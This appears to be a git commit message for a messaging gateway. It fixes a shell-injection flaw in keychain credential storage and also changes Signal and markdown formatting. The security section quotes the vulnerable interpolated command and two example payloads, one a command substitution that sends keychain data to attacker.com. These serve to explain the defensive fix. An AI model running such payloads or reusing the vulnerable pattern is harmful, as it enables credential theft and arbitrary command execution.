Replace execSync with execFileSync in writeClaudeCliKeychainCredentials
to prevent command injection via malicious OAuth token values (OC-28,
CWE-78, Severity: HIGH).
## Vulnerable Code
The previous implementation built a shell command via string
interpolation with single-quote escaping:
execSync(`security add-generic-password -U -s "..." -a "..." -w '${newValue.replace(/'/g, "'\"'\"'")}'`)
The replace() call only handles literal single quotes, but /bin/sh
still interprets other shell metacharacters inside the resulting
command string.
## Attack Vector
User-controlled OAuth tokens (from a malicious OAuth provider response)
could escape single-quote protection via:
- Command substitution: $(curl attacker.com/exfil?data=$(security ...))
- Backtick expansion: `id > /tmp/pwned`
These payloads bypass the single-quote escaping because $() and
backtick substitution are processed by the shell before the quotes
are evaluated, enabling arbitrary command execution as the gateway
user.
## Fix
execFileSync spawns the security binary directly, passing arguments
as an array that is never shell-interpreted:
execFileSync("security", ["add-generic-password", "-U", "-s", SERVICE, "-a", ACCOUNT, "-w", newValue])
This eliminates the shell injection vector entirely — no escaping
needed, the OS handles argument boundaries natively.
* fix: Signal and markdown formatting improvements
Markdown IR fixes:
- Fix list-paragraph spacing (extra newline between list items and following paragraphs)
- Fix nested list indentation and newline handling
- Fix blockquote_close emitting redundant newline (inner content handles spacing)
- Render horizontal rules as visible ─── separator instead of silent drop
- Strip inner cell styles in code-mode tables to prevent overlapping with code_block span
Signal formatting fixes:
- Normalize URLs for dedup comparison (strip protocol, www., trailing slash)
- Render headings as bold text (headingStyle: 'bold')
- Add '> ' prefix to blockquotes for visual distinction
- Re-chunk after link expansion to respect chunk size limits
Tests:
- 51 new tests for markdown IR (spacing, lists, blockquotes, tables, HR)
- 18 new tests for Signal formatting (URL dedup, headings, blockquotes, HR, chunking)
- Update Slack nested list test expectation to match corrected IR output
* refactor: style-aware Signal text chunker
Replace indexOf-based chunk position tracking with deterministic
cursor tracking. The new splitSignalFormattedText:
- Splits at whitespace/newline boundaries within the limit
- Avoids breaking inside parentheses (preserves expanded link URLs)
- Slices style ranges at chunk boundaries with correct local offsets
- Tracks position via offset arithmetic instead of fragile indexOf
Removes dependency on chunkText from auto-reply/chunk.
Tests: 19 new tests covering style preservation across chunk boundaries,
edge cases (empty text, under limit, exact split points), and integration
with link expansion.
* fix: correct Signal style offsets with multiple link expansions
applyInsertionsToStyles() was using original coordinates for each
insertion without tracking cumulative shift from prior insertions.
This caused bold/italic/etc styles to drift to wrong text positions
when multiple markdown links expanded in a single message.
Added cumulative shift tracking and a regression test.
* test: clean up test noise and fix ineffective assertions
- Remove console.log from ir.list-spacing and ir.hr-spacing tests
- Fix ir.nested-lists.test.ts: remove ineffective regex assertion
- Fix ir.hr-spacing.test.ts: add actual assertions to edge case test
* refactor: split Signal formatting tests (#9781) (thanks @heyhudson)
---------
Co-authored-by: Hudson <258693705+hudson-rivera@users.noreply.github.com>
Co-authored-by: Peter Steinberger <steipete@gmail.com>
